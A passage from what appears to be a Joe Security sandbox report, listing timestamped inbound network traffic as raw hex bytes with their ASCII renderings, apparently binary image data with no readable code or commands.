b8 a7 19 46 eb a5 bf 08 61 b3 fb 13 7f b7 34 7b 39 2a 05 72 15 c4 2e af 1b e6 6a fa 2c 8b 91 8d 75 b7 5c d8 c9 db b9 89 
a3 7f 06 04 1f db 8e 9a e4 56 e0 ce 4b e2 b5 78 a0 72 98 d2 4c 60 8e 83 82 45 03 a2 80 d9 e0 63 47 55 b4 25 b3 cf 0b 98 
97 22 35 1e 15 a7 86 3c cc b3 0d 49 ec 61 55 6d 38 3d 68 7b 8a 
Data Ascii: p"p<"FL1c~1HH#j`SFTS<1!L*`SNxb0o;A8xj v~^Fa4{9*r.j,u\VKxrL`EcGU%"5<IaUm8=h{

2022-05-26 11:46:49 UTC 7170 IN Data Raw: 91 00 d2 b9 f3 c7 6e 2a 34 ce 4c 97 4d 1c 32 dd ac 32 d6 42 4a 72 a1 e7 8f 57 6c a3 c9 df 0f 50 b5 f7 34 60 14 
78 45 0f 31 c7 19 f9 0f b4 bf ee 57 60 df d7 62 ff 00 e2 50 bf bf 07 92 f9 8f cf 5c 8c 4d c6 f2 4b b9 4b 39 cb 96 3a f1 d7 6a 
38 72 5d d9 81 71 c6 a6 03 a6 91 ea 15 c0 34 48 b2 d2 98 45 14 9c 51 04 74 e1 c9 23 53 0c 08 91 80 06 a6 01 0b 00 c6 
c0 21 9b 0c 08 d3 0c 43 73 c0 03 53 00 0d 80 43 1c 00 36 18 0a 98 00 40 1c 00 58 90 3b 82 54 64 31 2d a2 d5 5b 1a 98 
64 9a be dd b5 b6 bc be 48 6e 94 b4 6d 90 19 f1 3c f2 c7 36 7b 3a d6 51 d7 d3 d5 5a d0 cf 4d 93 fb 61 b6 5d 5c 01 0b 15 
89 40 d4 17 89 fb f1 e2 2e b6 c9 1e eb e8 68 d9 ce 6f 9f da fd c2 c5 d9 f6 ea dc 46 33 d2 07 50 1f c7 1d d8 ba e4 fe 2d 0e 
0c bd 03 5a d4 e5 af 3d b9 ba d8 10 2e 2d a4 42 7c 
Data Ascii: n*4LM22BJrWlP4`xE1W`bP\MKK9:j8r]q4HEQt#S!CsSC6@X;Td1-[dHnm<6{:QZMa]\@.hoF3P-Z=.-B|

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 89 of 222



2022-05-26 11:46:49 UTC 7186 IN Data Raw: 00 2a 60 90 23 4c 31 0d 86 21 53 00 c6 a6 00 81 88 c0 48 d4 c0 03 d3 01 43 53 00 1f ff d2 f4 ac 7d 61 f1 a2 
a6 00 15 30 00 b0 c4 35 30 86 3d 30 00 f8 00 7a e0 18 e0 e1 00 ab 86 21 0c 00 38 c0 31 60 01 e9 80 42 a6 10 0b 0c 62 
c0 21 60 01 60 01 f0 00 c7 00 0b 00 0b 00 0b 00 0b 00 0d 80 05 80 05 80 06 38 04 2c 00 2c 30 16 18 0a 98 40 3e 00 1b 
00 0f 84 02 c3 91 0f 4c 21 8b 00 0f 80 62 c0 22 40 d3 00 c5 5c 21 8e 0e 10 0f 5c 03 16 00 1f 00 0a b8 00 7a e0 1a 16 00 
62 ae 01 0b 00 0a b8 40 3d 70 00 81 c0 32 75 c2 18 da b0 00 da 8e 01 48 f5 c0 31 c1 35 cb 08 66 ad bc e2 58 18 48 73 1
9 57 1c d6 50 ce ba da 51 94 dc 71 d2 72 32 3a a9 86 22 41 ce 10 e4 36 09 1e 82 87 3c 63 64 74 d6 cc e9 36 c4 8c f5 cc 
7a 87 2c 70 5f b8 f4 71 f7 96 bd c5 bc 93 f6 a8 c3 13 b5 c4 95 b9 
Data Ascii: *`#L1!SHCS}a050=0z!81`Bb!``8,,0@>L!b"@\!\zb@=p2uH15fXHsWPQqr2:"A6<cdt6z,p_q

2022-05-26 11:46:49 UTC 7194 IN Data Raw: 0c af a9 cd ff 00 41 9c 6a 8d 9d 7b 79 81 e6 31 d7 e6 a3 93 cb 39 ad f5 2c 6c 50 db 24 60 4b e2 31 df 85 da 
da 9c 19 f6 d5 41 ca 91 e1 8f 40 f2 88 d3 0c 0f ff d7 fa 85 ad 23 96 50 e8 80 d7 88 3e 18 e8 dc 73 6d 05 bf 4d 2a d1 db ae 
90 38 01 e3 8d 28 fb 4c ee bb 0c fb 05 9c 23 34 bc 09 ca bc 71 ad e3 91 8d 27 99 65 ec b1 98 7e 9e 43 4d 58 54 4e 64 77 
6a 21 9c 8c f0 76 dc a8 35 f3 c7 a8 ad 27 91 6a c1 4d 31 66 63 11 80 42 a6 00 15 30 00 da 70 08 7a 60 18 88 c0 21 a9 
86 21 53 00 0f 4c 03 1a 99 e1 04 0f 4c 02 1a 98 60 36 00 15 30 00 a9 80 07 38 06 2e 38 00 54 c0 21 e9 84 31 61 80 a9 
80 07 c2 01 88 c3 01 0c 02 15 29 80 62 c0 21 53 00 0b 00 0f 4c 00 2a 60 01 53 00 c7 a6 00 1e 98 00 58 40 2a 60 01 a9 
86 21 11 80 06 a6 00 1e 98 00 54 c0 31 11 84 02 03 00 12 c0 31 
Data Ascii: Aj{y19,lP$`K1A@#P>smM*8(L#4q'e~CMXTNdwj!v5'jM1fcB0pz`!!SLL`608.8T!1a)b!SL*`SX@*`!T11

2022-05-26 11:46:49 UTC 7210 IN Data Raw: fd fc b9 62 60 72 30 98 1e 34 fb 30 40 49 2e e0 3c b0 80 b4 11 4a 0c 22 c4 a4 f0 af ed c2 11 6a b1 03 12 50 8c 
84 1c 10 29 10 9d 40 cc e0 81 c8 ff 00 50 ae 33 cc 60 da 39 1c 4d ab 33 96 08 09 2d 0d 5c 4c 14 48 38 23 2e 18 42 11 24 
66 38 e0 11 d0 6d 7e f5 bf db d1 61 99 52 68 54 fa 5b 23 ff 00 36 30 b6 14 f8 1d 34 cc d1 da 5b ff 00 72 f6 39 65 46 9a da 
58 87 32 28 c0 7d 98 e2 7d 3d d7 33 b9 75 35 6f 54 76 bb 55 ff 00 b6 bd c0 a5 ac dd 19 ce 5a 49 a3 0f f4 9c 71 5b 7d 38 
9d b4 74 bf 03 a2 b1 b7 8b 6e 84 44 8d a5 06 79 e3 9a cd d9 c9 d3 55 0a 07 ba 8a 1d ce 23 1c 94 74 e7 5c 15 6e ac 2c 
95 b4 67 3f 37 b5 6c 1e 4a a1 2a 8b e0 78 e3 ad 67 b1 ca fa 7a b2 98 fd b6 2d a5 32 ab 52 3a e4 07 1a 61 bc d2 a0 95 
85 55 c9 a8 5e 24 14 53 46 1c b1 8e a7 44 a1 fe a5 95 35 
Data Ascii: b`r040@I.<J"jP)@P3`9M3-\LH8#.B$f8m~aRhT[#604[r9eFX2(}}=3u5oTvUZIq[}8tnDyU#t\n,g?7lJ*xgz-
2R:aU^$SFD5

2022-05-26 11:46:49 UTC 7226 IN Data Raw: 15 00 e9 08 e4 af 3d ed ee cd ca f9 cb 77 d6 46 22 b4 d4 00 5a d4 52 9d 34 18 e8 94 d4 c9 82 ac b8 83 b3 4f 
ee a7 b8 b6 e9 60 5b c6 12 44 19 35 30 4f 58 ad 08 a0 15 0c 70 a9 7d c6 8e 8d 70 09 f7 b7 f7 5f 71 69 4c 5b 22 3a db 21 
04 ba 83 53 fc c6 9c 8f ca 3e dc 4b be e7 09 c0 a1 f3 38 4b 0f ee 66 ff 00 16 eb fd 4e 3e ec 87 50 66 5a b1 46 fc 4a 47 0a 
53 1b ed 4b 56 c5 0c f5 49 3f bc f1 aa c9 32 da 93 08 d2 50 b1 2b 50 78 ea af ec c6 1e 6e b1 03 da e0 e3 f6 7f ee c4 96 
9b ed de e0 90 55 2f 9e 33 32 8a 90 3b 6b a7 a0 f8 e9 c6 ae d6 e2 c4 b5 3d 9e c7 dd f6 17 f6 e2 e2 15 90 8a 02 c3 46 6b 
5f 1c f1 8b ea 28 b8 b3 ae 98 2f 75 29 04 a7 b8 f6 e6 a6 a9 42 55 43 0d 44 70 3f 0a e7 8b 59 aa f9 99 df 15 a9 c5 1e 7d 
ee 4f ef 45 be c7 bc 7d 04 36 fd db 74 20 3b 16 a3 35 
Data Ascii: =wF"ZR4O`[D50OXp}p_qiL[":!S>K8KfN>PfZFJGSKVI?2P+PxnU/32;k=Fk_(/u)BUCDp?Y}OE}6t ;5

2022-05-26 11:46:49 UTC 7234 IN Data Raw: 2a 51 2b ef 7e 43 64 8d f4 ea d2 04 1d 64 72 1c 38 f2 c2 a7 46 ed c4 99 81 ed fd d4 2e ed 96 62 cc 22 ae 6d 
db 2e 7c 94 e8 05 b1 bf f6 d0 ce ba 35 12 01 bb 7b b9 2d 84 57 0a 8b 72 91 90 54 cb 19 50 1a a7 e5 6d 3e 15 e1 8d 6b 
d3 4e 9c 02 f9 a0 d9 bc f7 46 f9 bf da da 5e ed 91 1b 64 62 51 bb 70 b3 a1 20 fa ce 90 ff 00 f2 e3 8d 61 a6 36 d5 b5 f6 9b 
f9 8e c9 34 7a ab 5b d9 cb 60 92 dd c6 93 c7 db 06 46 30 d1 75 01 d5 d2 e3 a7 3f 1c 78 4d b4 f4 3a 9a 93 26 fb da 3e d9 
ba 91 63 9f 6b b7 76 70 48 3d b0 be 9a 57 35 a7 8e 36 af 51 91 70 b3 39 dd 2a f8 a3 02 e7 d8 be cf 45 17 d1 ed dd b7 8e 
75 40 52 47 5a 30 90 47 5c 8f 8f 96 3a 57 57 97 86 e3 35 8e bd 81 b0 ed 56 76 9b a4 b6 ed 75 33 09 22 47 0d 33 2b 69 
25 d9 34 29 1a 78 fe fc 64 f2 37 5e 0b d8 4d a8 8c 99 a7 bd 
Data Ascii: *Q+~Cddr8F.b"m.|5{-WrTPm>kNF^dbQp a64z[`F0u?xM:&>ckvpH=W56Qp9*Eu@RGZ0G\:WW5Vvu
3"G3+i%4)xd7^M

2022-05-26 11:46:49 UTC 7250 IN Data Raw: 72 ea 86 b3 47 20 29 7f b6 d7 99 76 2f 87 41 aa d5 48 a1 fb 0e 34 5f e5 ab ce a5 f9 eb b0 cf 6f ed ee ff 00 6f 
a9 a2 ba 8d c9 04 0c ca 9c f1 d4 bf ca 62 7c 53 13 ca 98 1d 97 b2 7d cf 66 b3 40 55 4c 72 d0 12 b2 0a e5 cc 57 9e 3a 2d 
fe 43 05 a1 cf 0e e2 96 44 6a 2f b3 37 9b 48 f4 40 75 82 ba 6a d2 00 c3 51 ea 39 70 c7 3f ff 00 90 c4 f8 fd c6 ab 25 4d 48 
3f b7 8f 6e 85 e1 99 4d c3 81 a9 98 b6 54 e4 a4 72 f8 e3 9a df e4 ab 6e 2b 41 f9 95 0d 6d 8f 79 da 56 26 db 1e 07 94 0d 
2f ae b4 a7 da 3e fc 62 ba ac 57 9d f2 35 7a 96 5b ec db ac f2 f7 ee 12 04 98 e4 5d 24 39 7c 01 14 c5 3e a7 1a 50 9b f7 
02 bd 7b 42 6d 36 3d d6 d9 ea d7 2b 2a d3 81 62 3f 83 61 3e ab 1b e4 3d e8 e7 f7 8b 9f 75 6d b2 3b 4c 5d e1 76 d2 3b 15 
35 07 c7 8f d9 8f 43 0d b0 dd 69 f6 94 ac 9f 33 0b 
Data Ascii: rG )v/AH4_oob|S}f@ULrW:-CDj/7H@ujQ9p?%MH?nMTrn+AmyV&/>bW5z[]$9|>P{Bm6=+*b?a>=um;L]v;5Ci3

2022-05-26 11:46:49 UTC 7266 IN Data Raw: 7a 48 a8 fb ce 32 b6 35 57 0d 98 5b 02 40 b7 1e e4 bc b5 3a 5e ce 43 4f c2 6a 3e f1 86 b1 27 cd 19 f9 06 ae 
d3 7c 9b a2 16 b8 4e c9 a8 06 a7 c7 ec c6 19 2b b7 80 de 18 0c 36 fb 6b 39 57 9f b6 47 32 ad 4f be 98 84 d8 2c 2d 90 16 
b6 8f 37 d3 43 77 11 62 2b 52 d4 1f 7e 2a 1c 4c 12 f0 04 ff 00 42 9d 53 b8 b3 db 94 1c 6b 3a 2f fe e2 30 93 17 90 fb 8c 4f 
ea 56 eb ff 00 cd 18 e2 3f dc 19 91 91 a7 db 8b 75 67 3b ac 16 34 e4 9c a4 8e b4 07 36 5e 07 87 13 89 91 6d 66 92 6c 1b 
dc 89 dd 4b 29 5e 3f c4 88 48 f1 e2 b5 c5 a8 66 cb 0d 9f 20 6b 8b 59 ac a1 ef ee 10 cd 04 5c 35 b2 95 1f b4 60 89 e0 4b 
c5 65 c5 19 70 ee d6 37 44 c7 6f 77 0f 70 9a 25 6a 0f 1e 60 fd d8 6f 15 97 14 55 71 f6 a3 4a ff 00 6f de 6c 50 ff 00 db 19 
1b 97 23 e7 d2 48 fd f8 ca b0 f8 b8 35 ae 24 de ba 
Data Ascii: zH25W[@:^COj>'|N+6k9WG2O,-7Cwb+R~*LBSk:/0OV?ug;46^mflK)^?Hf kY\5`Kep7Dowp%j`oUqJolP#H5$

2022-05-26 11:46:49 UTC 7274 IN Data Raw: 79 8f b4 7b 50 cd 61 64 e7 38 50 d7 cb 0b cc 7d a1 b1 76 10 fe 9d b7 8c cc 0a 0f 95 70 fc d7 da 1b 2b d8 56 
76 9d b1 b3 30 e7 e4 5b fc f1 a2 ca fb 45 e5 d7 b0 a5 f6 5d ad c5 0c 64 83 c8 b1 c3 f3 ad da 1e 5d 4b 23 d9 b6 f5 ff 00 6c 
15 a7 85 3f cb 07 9a d8 fc aa 8d 26 d7 00 25 91 c8 25 4a 8a 8a 8f 8e 2d 66 68 3c a4 56 36 f9 23 40 aa c0 d0 66 78 62 de 
69 d4 cd e1 21 f4 52 73 20 fd b8 5e 62 23 ca 63 1b 47 4f 4a d7 ed c3 f3 10 bc b6 56 62 94 67 d9 3f 7d 70 6f 44 ec 65 7a 
73 ea 42 0f c0 e2 5b 21 d5 92 a2 9e 19 62 19 24 4c 4b cd a8 31 20 44 84 e4 6b 87 02 16 85 3e 67 0c 08 49 12 91 cc 1f 
2c 50 8c cf e9 7a 66 32 99 25 35 e2 0b e5 fb b1 a3 be 90 30 c4 55 8d 68 b5 fb 49 38 c8 91 c3 b0 61 5c b8 e2 a0 65 81 d8 
fc 30 a0 63 80 4e 01 1f ff d3 f9 a6 c3 dc 6c f2 c8 2e ea 
Data Ascii: y{Pad8P}vp+Vv0[E]d]K#l?&%%J-fh<V6#@fxbi!Rs ^b#cGOJVbg?}poDezsB[!b$LK1 Dk>gI,Pzf2%50UhI8a
\e0cNl.

2022-05-26 11:46:49 UTC 7290 IN Data Raw: e5 69 b5 69 60 81 89 e9 20 71 14 1f 2f a6 b8 f9 c7 fe 61 3b 27 0f c3 a1 16 ea d5 94 41 c6 9f 69 47 0c f2 49 34 
f6 d2 b8 d3 18 20 c8 bc 72 1f 26 79 9a 65 8f ac af 5b e1 98 d3 8f 15 fb 4c 2d 62 d1 fd a6 de a3 0c 96 f2 5b c7 11 e0 01 72 
3f f6 e3 ca 7f ff 00 71 e1 7f 2d be cf da 61 e6 00 5a ff 00 67 7d c3 b7 4d df 33 db b5 18 36 91 a8 93 9f 0a 15 c4 64 ff 00 3f 
8a d5 8d b6 53 ea fd a5 3c 92 03 bc dd de 7d 5b c7 69 32 a0 42 41 4e e5 1b 51 c8 fe 6e 26 94 18 cf 05 2b b5 3b 29 9e e3 
96 0c 4b dd c4 da 5d c7 17 79 9d 94 75 bc 84 80 a6 bc 97 8e 3d 0c 78 b7 55 b8 8e c4 86 a4 be e6 fa e1 0b fd 6e b6 89 74 
b3 3c 6c 06 6d 4a 6a 6f bb 2c 45 71 a7 1b 62 7b 19 4e 59 65 a6 e2 b1 c2 1a 00 c8 ca 6a 8e 2a 4b 1a f0 f3 38 59 31 ce 8f 
da 4c 1b 17 a7 7a 48 a0 bb 2a 49 cc 00 4d 01 
Data Ascii: ii` q/a;'AiGI4 r&ye[L-b[r?q-aZg}M36d?S<}[i2BANQn&+;)K]yu=xUnt<lmJjo,Eqb{NYej*K8Y1LzH*IM

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 7306 IN Data Raw: a7 48 4b ea b1 9b 4b 89 ad 6f 1a 98 ca ca d4 07 2c c9 39 53 3f 86 38 ac f5 d0 de 91 06 50 f6 ed b4 1b 8a de 
42 d2 b9 61 42 15 80 4a 0c c7 3a e5 f9 71 d9 fd cd ad 4d ae 3f e4 2f 2d 72 27 bb 7b 71 77 a8 7b 13 4a e9 11 22 aa 94 50 
48 35 cc f1 38 9c 3d 57 94 e5 24 df 78 6c 31 37 ff 00 68 5b df 5b 20 96 ea e6 46 84 fa 51 81 2c 68 32 3e 5c f1 e8 74 dd 6b 
a5 9c 56 ab 77 69 95 92 45 c7 63 b2 da fb 72 c5 14 d7 0e 73 0a c3 25 af a8 90 29 9e 55 d2 71 1f dc 5b 24 a6 d5 41 f7 14 
ef 9e ce 1b b0 81 2c 6f 0d 9a 44 dd c1 12 47 51 a8 f3 26 a1 ab 8b e9 fa ef 2a 5d eb be 7c 3b 9b f4 45 c2 3a 6d bf 61 b5 
b0 71 72 83 55 d1 1d 72 70 d4 4f 13 4f 3c 79 59 7a 9b 64 5b 5f c3 d9 d8 6f 0a 0d 13 0a 76 fa 94 16 3c 6b 9f dd 8e 5d ce 
4c e0 09 8d dc 73 28 85 40 87 3d 4c 5b 33 f0 03 1b ad 
Data Ascii: HKKo,9S?8PBaBJ:qM?/-r'{qw{J"PH58=W$xl17h[[ FQ,h2>\tkVwiEcrs%)Uq[$A,oDGQ&*]|;E:maqrUrpOO<
yYzd[_ov<k]Ls(@=L[3

2022-05-26 11:46:49 UTC 7313 IN Data Raw: 8e e3 50 b6 5c 3e 23 1b 78 55 f7 35 fc a0 ad a0 5f d2 4f 3d b8 8a e2 56 90 64 49 0d a4 31 1f 0e 5e 58 c3 7a 
ad a5 28 fb 4d 34 7a 03 db ec df 47 33 cd 19 6e b1 4a 12 69 8d 6d 9f 7a 87 c8 16 38 2f 8e c2 dc b9 26 2d 26 83 33 51 5f 
2c b1 9b c8 e3 89 50 5e 16 1b 54 36 d6 f4 5c 8d 14 70 cf 8f 9f 1c 67 ad 9e e6 12 64 d9 3d e4 6b 2a 5d b3 48 ba 99 86 98 
f4 e5 f8 73 fd f8 ec c8 aa e1 d7 4f 6f da 73 c3 09 db 66 93 70 81 25 68 5e 03 4a 80 d9 71 ff 00 19 e3 2c b5 54 71 2a c0 90 
5c b7 c2 d9 c4 72 12 c4 fe 11 97 df 8c 56 3d ca 51 aa b4 14 6e 3b 49 dc d4 34 72 b4 24 90 43 2a e7 51 98 ad 71 a6 2c de 
5f 15 b8 d9 d7 71 76 df b3 cf 65 29 73 73 24 ab a6 81 5e 87 ed af 1c 46 4c ca ea 36 a5 ea 2e b8 e3 50 b8 84 aa ad de 2a 
5c 92 40 5f c3 cb ed c6 36 8e 45 08 87 90 a8 50 29 f3 
Data Ascii: P\>#xU5_O=VdI1^Xz(M4zG3nJimz8/&-&3Q_,P^T6\pgd=k*]HsOosfp%h^Jq,Tq*\rV=Qn;I4r$C*Qq,_qve)ss
$^FL6.P*\@_6EP)

2022-05-26 11:46:49 UTC 7329 IN Data Raw: 4a c5 9a bb 83 a5 7a 6a 68 33 ad 72 c6 69 4e bd 84 da d2 64 5f 6d 92 5e 2c d6 d7 65 e4 82 58 c4 5a 01 55 cb 
3c f2 cc 1c f1 d7 8f 2a a4 5a b0 9a 7b a7 56 73 ed 6c ba ca cc d8 59 ad a4 48 18 28 0a a9 2b 06 34 1e 19 72 c4 64 be fb 
6e 7e fa a3 65 46 91 9b b4 cb b9 c5 33 1b f3 0c 48 ee 69 a1 96 a3 e5 58 f2 ca 94 f2 19 9a 67 8e ac d5 c6 d7 82 5e 9c d3 
fe a2 12 68 de 7b bc f4 32 90 07 3a 71 03 1e 72 a7 30 b5 88 47 3a 2b ea 56 d5 52 2a b4 15 a7 2c f1 4e ae 0c d1 5d c5 db 
c5 1b 34 0b 57 e2 aa 5c d0 f8 d4 f0 1f b7 15 5a 26 f5 fb 8b 6c c6 f6 d4 fb ab db 1b 6d e8 00 e4 b1 57 57 5e a5 24 90 32 
cc 1f 2c 77 75 75 c6 ad bb 17 ba 1f 12 2b d8 74 11 bc 69 58 a3 51 a7 55 0f 01 f7 0a 67 8f 35 a6 f5 66 b5 2b b9 91 21 84 
81 09 91 86 61 00 51 5c fc 3a 46 58 aa 26 df 18 ef d4 6d 
Data Ascii: Jzjh3riNd_m^,eXZU<*Z{VslYH(+4rdn~eF3HiXg^h{2:qr0G:+VR*,N]4W\Z&lmWW^$2,wuu+tiXQUg5f+!aQ\:FX&m

2022-05-26 11:46:49 UTC 7345 IN Data Raw: 8f fd b6 52 28 64 ad 08 a7 1c b0 a1 1a 20 0f 71 6d b1 5c 59 7d 2d f4 f2 34 d2 35 7b de 14 f9 44 7c 4f e1 e3 c7 
ab 1e ae 1b 46 a6 89 9e 79 7d ec dd fe d4 bc d3 a0 10 84 d6 19 bd 4d c9 7a 45 5b 51 3c 31 ea d7 25 5a 19 8d 16 e5 a9 
43 b0 22 6a e6 49 e3 fc 6b 5c 3b 63 82 4f 45 da b7 18 2f ac fb d0 74 02 b9 90 29 56 02 94 35 e3 4c 7c be 7c 6e b7 87 db 
f6 10 ce 1f 7d 74 8e e6 3b a7 65 11 13 a6 80 75 02 28 4f c7 1e f7 4e 9b ab aa e2 52 01 df 67 ed 2a b2 4d a8 38 cc 0c b2 
e5 5c 74 74 f5 9e 2b 80 d2 93 ff d4 e5 56 ea c2 e8 46 1e 31 de 6a 1a 32 12 45 41 e3 c8 70 c7 e0 ee 97 ac c3 d3 d6 78 ee 
c4 45 d4 cb 73 24 4f 6e 59 32 d3 46 c8 65 98 35 c3 d8 b6 a6 9f d8 34 cc dd ca c7 77 bc bb 8d ec ee 23 8a da 33 57 8c e6 
49 a6 4a 39 52 b9 e3 ab 16 4c 74 ab 56 4d d9 f0 b1 0d 8d 
Data Ascii: R(d qm\Y}-45{D|OFy}MzE[Q<1%ZC"jIk\;cOE/t)V5L||n}t;eu(ONRg*M8\tt+VF1j2EApxEs$OnY2Fe54w#3W
IJ9RLtVM

2022-05-26 11:46:49 UTC 7353 IN Data Raw: ea d0 01 39 00 70 5d d5 57 47 ea 5c fb 24 b5 50 d3 0b 5a 28 61 ea 5a e9 51 5d 35 f3 03 2f 85 06 30 dd b8 d1 
d4 8d b6 e7 79 2c 67 eb 07 ea 92 42 f6 c1 2c 72 f3 cb 33 87 6c 55 4f c3 c3 bf 81 9e d2 8b 3d d6 e4 c6 60 ba 01 66 4a 39 
42 4d 51 75 7c dc b2 1e 9f 1c 69 7c 35 99 af 07 a4 fd 4e 39 0a 0b 25 6b db eb 98 ae ed 27 66 b7 44 65 35 1d 34 3c 8d 73 
d5 f7 e2 52 ad 2a eb 65 e2 91 31 43 24 d2 5c 1e fa ea af a5 8b 06 cc 71 01 69 96 0b 24 96 9f b0 80 7d c2 0b 1d c5 fe 92 
f6 36 76 75 a9 a8 e9 14 39 02 c3 9f 3c b1 a6 2b 5f 1f 8a 8e 23 de 54 04 41 1d bd ad 98 fa 56 0f 0c 64 0a 33 d2 94 34 26 
a7 f0 8c 65 67 6b 5b c5 c5 f7 09 a1 86 e1 3d c7 72 58 e3 05 54 74 3d 75 06 fe 5c 3f 29 56 13 7e b5 c2 08 68 cb 6b df 72 
22 8a da c6 54 01 56 d6 09 62 5b 86 79 53 ff 00 6e 3b 36 
Data Ascii: 9p]WG\$PZ(aZQ]5/0y,gB,r3lUO=`fJ9BMQu|i|5N9%k'fDe54<sR*e1C$\qi$}6vu9<+_#TAVd34&egk[=rXTt=
u\?)V~hkr"TVb[ySn;6

2022-05-26 11:46:49 UTC 7369 IN Data Raw: 62 ac ad 15 aa e7 c4 97 1c 8c 0b 2b f8 7d c3 ff 00 77 b7 dd 36 94 a2 3a ea a1 42 09 19 1f c5 ab 9f ef 18 f4 72 
63 78 3c 37 af 1d 57 e6 21 23 56 79 62 d5 1c 77 11 ea 56 ad 58 f5 0d 3c 3d 43 a7 51 6d 3f 1c 72 55 3d 5a 7f c7 f8 17 05 
e4 bd c4 8a f6 d2 d6 35 c8 05 a7 da 0f 86 33 f8 57 89 17 05 eb b7 a4 6c aa 8c 5a a0 81 fa 8c 49 af e2 cf 3f 89 c6 6f 23 7c 
7e e5 f6 16 b5 2e 78 d2 d4 69 94 ac 55 19 6a 39 1a 78 d7 c3 10 9b b7 0d 46 d4 15 47 f5 87 49 25 18 f0 04 0a d2 9c 34 82 
34 d3 14 f6 f7 90 91 29 22 53 1e 97 22 59 06 63 41 a1 24 70 04 ae 90 05 70 93 d7 4f 0f af f7 9a 01 ed b6 97 57 71 24 9b 
94 3d ab 98 c6 92 0b 92 3f 98 2a 9d 14 3f 7e 37 cb 7a d5 b5 47 35 7d df 67 d4 34 a4 d2 82 0a 75 40 e4 00 4e af 55 2b f9 
41 3f c3 1c b6 b7 6f e0 52 a9 03 6d a9 4a 48 0d 33 
Data Ascii: b+}w6:Brcx<7W!#VybwVX<=CQm?rU=Z53WlZI?o#|~.xiUj9xFGI%44)"S"YcA$ppOWq$=?*?~7zG5
}g4u@NU+A?oRmJH3

2022-05-26 11:46:49 UTC 7385 IN Data Raw: 23 99 95 4f 30 2a c7 30 0f a6 94 c6 8b ac c8 df 2b 7e aa a9 f4 ed 22 58 6c 31 08 6d d5 23 92 4b 7b 74 4e 26 
ba f3 a6 4d 50 d4 ff 00 a8 71 c7 3d 9c da 5a 56 b4 ff 00 29 92 0a 6b 14 95 14 c5 77 2c 74 15 0c ac 3a bc 09 af 1f b1 a9 8c 
96 46 9e b5 4f f0 35 70 2b 48 2f e1 0e 93 49 de 89 8f 49 06 8c 07 83 1e 79 79 e0 bd a8 e2 16 d7 f6 19 e8 49 42 4c 69 76 
84 00 75 0d 47 89 5a 7a 47 80 f1 c2 72 be 16 39 82 7f 4f 01 7d 50 68 0e d4 d4 52 84 f4 9c ab cf 2c 4e e7 1a cf b4 87 a9 
93 79 6f 3e e5 38 8a 09 04 45 4e ad 55 1a 95 49 a2 35 08 cf 8f 8e 3b 69 65 8d 4b 53 f8 fd 48 49 0f 25 96 df 64 63 86 f5 93 
ea 91 49 92 61 d2 49 1c 39 93 f3 70 3c 9b 86 12 c9 7b cb ac ed 7c 2b e9 ea 18 2c 5b b4 c7 75 6b 2f a2 7f a3 41 41 26 7a 
28 08 00 05 a1 f5 1f 86 7c 31 b3 c2 bc bd db 96 ef 
Data Ascii: #O0*0+~"Xl1m#K{tN&MPq=ZV)kw,t:FO5p+H/IIyyIBLivuGZzGr9O}PhR,Nyo>8ENUI5;ieKSHI%dcIaI9p<{|+,
[uk/AA&z(|1

2022-05-26 11:46:49 UTC 7393 IN Data Raw: f1 b0 45 2a e7 40 34 a8 a9 00 54 a1 c8 72 af 8e 3a 7f bb 75 4e b8 3e 07 af 0f 17 a3 2a 5a d1 07 6d 4d b3 5c 
6e d7 0c 24 56 9a d9 09 72 cd 4a 16 f5 b7 c1 59 40 e1 d3 c7 1c f9 96 5a e3 5a 69 67 a7 fc 7d 39 86 a6 b7 d1 ed d3 dd 2c 
37 4c 86 73 53 1a c6 ee 40 e6 6b 9e 9f f8 e3 8f 7d eb 59 ac c7 cd 29 7f 11 a9 0b be 91 f4 3c b1 c9 12 49 db 34 76 6d 3a 
79 0a f8 28 6e 58 c3 1a 52 93 4f 8f 0e d0 dc cc cb 1b 79 ad 89 37 01 8d cd 08 75 d5 d1 a4 d2 ba 87 0e 1c f1 d7 92 ca df 
0f c3 cb 4f 14 89 b3 51 f7 0e d4 42 4a aa 42 a4 16 7d 43 85 28 7c 08 f1 c7 22 c5 2e 38 be c0 52 63 ef 7b d5 8e c5 20 de 
a5 49 a4 77 aa 2a a9 62 84 1e 23 f0 e9 f0 e1 5f db 8f 43 a5 c5 93 27 ff 00 3a b5 58 d6 74 dc 74 63 76 9d 0d 3b 3d f2 0b 
b4 06 aa 92 81 d7 18 24 d2 bc 0e 5d 3a 79 7c 71 8e 55 91 
Data Ascii: E*@4Tr:uN>*ZmM\n$VrJY@ZZig}9,7LsS@k}Y)<I4vm:y(nXROy7uOQBJB}C(|".8Rc{ Iw*b#_C':Xttcv;=$]:y|qU

2022-05-26 11:46:49 UTC 7409 IN Data Raw: 65 d1 42 da 75 2f 06 14 ff 00 8e 3c f7 91 dd 2a a5 55 cf 9c f0 9d 4a 90 4f 73 6f 30 ed 36 c2 55 1a e0 4a ea 55 
1a b5 70 50 08 3e ae 3e 35 c6 fd 26 07 96 d1 cf d1 fb 01 29 0c b7 dd 9e ea c1 27 b5 43 2c 52 10 c0 c6 00 d0 0a d3 43 0e 
26 80 f8 63 0b 61 55 bb 56 d1 af ab 9f e6 22 11 42 dc 5d af 74 cc 35 82 68 b1 83 4c e9 a7 e1 a4 f8 1f 9b 56 34 75 ab 88 
fe af b4 a7 52 bb 9d 8f fa cc 0b 3c 73 b7 6a 41 43 1e b2 54 7c a5 0d 32 af f2 e2 ab d4 79 4e 1a d5 73 8f 6e e2 d2 1a 5d 
82 d9 63 30 c8 15 12 30 34 22 9a 01 41 c4 9f 3a 60 5d 4d a6 56 b3 c5 89 b2 a6 63 b4 5b 95 b4 8c b4 b2 51 9c 01 a8 2d 
0d 42 93 c1 53 2f 48 ae 67 1a 25 e6 bf 13 d1 70 f4 e6 c9 db 20 33 ed e9 bb a2 a0 89 00 04 bc e8 4e 95 70 78 9a 01 9b 57 
9e 37 ae 57 8b 59 7d 95 7c 5d 7f 71 6a 90 6c 6d 3b 46 cb 
Data Ascii: eBu/<*UJOso06UJUpP>>5&)'C,RC&caUV"B]t5hLV4uR<sjACT|2yNsn]c004"A:`]MVc[Q-BS/Hg%p 3NpxW7WY
}|]qjlm;F

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 7425 IN Data Raw: 08 29 aa a3 3a e5 fb 71 d2 d5 78 34 e6 dd bc 89 68 20 c9 15 c4 ea a5 54 b1 89 9f a8 66 32 d2 08 f0 cf 19 43 
